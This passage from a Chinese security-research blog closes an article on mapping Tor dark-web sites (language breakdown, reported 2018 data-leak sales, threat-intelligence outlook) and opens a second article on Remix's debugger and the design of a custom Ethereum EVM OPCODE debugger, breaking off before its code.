    通过机器学习分析网站的标题和内容,我们将暗网进行了语种归类,Tor暗网语种总数有80种,英语依旧是暗网中最流行的语言,占比高达82.02%;接着依次是俄语3.77%、丹麦语2.22%、德语1.73%、拉丁语1.26%、西班牙语1.26%、法语1.13%、葡萄牙语1.00%、汉语0.75%、意大利语0.60%。

    3 暗网的威胁

    由于暗网的匿名特性,暗网中充斥着大量欺诈,非法的交易,没有限制的信息泄露,甚至是危害国家安全的犯罪等, 这些风险一直在威胁着社会,企业和国家的安全。2018年上半年,中国互联网就有大量的疑似数据泄露事件的信息在暗网传播,例如:《某视频网站内网权限及千万条用户数据库暗网售卖事件》

    • 2018年3月8日,黑客在暗网论坛发布某视频网站1500万一手用户数据
    • 2018年6月9日,黑客在暗网论坛发布某视频网站 SHLL+内网权限并公布了300条用户数据
    • 2018年6月13日凌晨,某视频网站官方发布公告称网站遭遇黑客攻击,近千万条用户数据外泄,提醒用户修改密码

    另外还有诸如

    • 某省1000万学籍信息在暗网出售
    • 某快递公司10亿条快递物流数据暗网出售

    等一系列的隐私信息泄露的事件在中国互联网引起广泛传播和关注。

    暗网也成为各种威胁情报信息的重要来源之一。

    从我们监测的数据来看,暗网还在呈现缓慢增长的态势,随着暗网用户的增多,黑市及加密数字货币的发展,更多的黑客在利益的的驱动下开展各种活动,把之前通过表网(互联网)传播的非法交易更多的转移至暗网,通过各种技术手段躲避追踪。对监管和调查造成了一定的困难。

    面对日益增长的暗网威胁, 知道创宇404安全研究团队会持续通过技术手段来测绘暗网,提供威胁情报,追踪和对抗来自暗网的威胁,为了更好更安全的互联网。


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/686/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 以太坊智能合约 OPCODE 逆向之调试器篇

    2018-09-05
    作者:Hcamael@知道创宇404区块链安全研究团队
    时间:2018/09/04
    上一篇《以太坊智能合约 OPCODE 逆向之理论基础篇》,对智能合约的OPCODE的基础数据结构进行了研究分析,本篇将继续深入研究OPCODE,编写一个智能合约的调试器。

    Remix调试器

    Remix带有一个非常强大的Debugger,当我的调试器写到一半的时候,才发现了Remix自带调试器的强大之处,本文首先,对Remix的调试器进行介绍。

    能调试的范围:

    1. 在Remix上进行每一个操作(创建合约/调用合约/获取变量值)时,在执行成功后,都能在下方的控制界面点击DEBUG按钮进行调试

    2. Debugger能对任意交易进行调试,只需要在调试窗口输入对应交易地址

    3. 能对公链,测试链,私链上的任意交易进行调试

    点击Environment可以对区块链环境进行设置,选择Injected Web3,环境取决去浏览器安装的插件

    比如我,使用的浏览器是Chrome,安装的插件是MetaMask

    通过MetaMask插件,我能选择环境为公链或者是测试链,或者是私链

    Environment设置为Web3 Provider可以自行添加以太坊区块链的RPC节点,一般是用于设置环境为私链

    4. 在JavaScript的EVM环境中进行调试

    见3中的图,把Environment设置为JavaScript VM则表示使用本地虚拟环境进行调试测试

    在调试的过程中能做什么?

    Remix的调试器只提供了详细的数据查看功能,没法在特定的指令对STACK/MEM/STORAGE进行操作

    在了解清楚Remix的调试器的功能后,感觉我进行了一半的工作好像是在重复造轮子。

    之后仔细思考了我写调试器的初衷,今天的WCTF有一道以太坊智能合约的题目,因为第一次认真的逆向EVM的OPCODE,不熟练,一个下午还差一个函数没有逆向出来,然后比赛结束了,感觉有点遗憾,如果当时能动态调试,可能逆向的速度能更快。

    Remix的调试器只能对已经发生的行为(交易)进行调试,所以并不能满足我打CTF的需求,所以对于我写的调试器,我转换了一下定位:调试没有源码,只有OPCODE的智能合约的逻辑,或者可以称为离线调试。

    调试器的编写

    智能合约调试器的编写,我认为最核心的部分是实现一个OPCODE解释器,或者说是自己实现一个EVM。

    实现OPCODE解释器又分为两部分,1. 设计和实现数据储存器(把STACK/MEM/STORAGE统称为数据储存器),2. 解析OPCODE指令

    数据储存器

    STACK

    根据OPCODE指令的情况,EVM的栈和计算机的栈数据结构是一个样的,先入先出,都有PUSHPOP操作。不过EVM的栈还多了SWAPDUP操作,栈交换和栈复制,如下所示,是我使用Python实现的EVM栈类: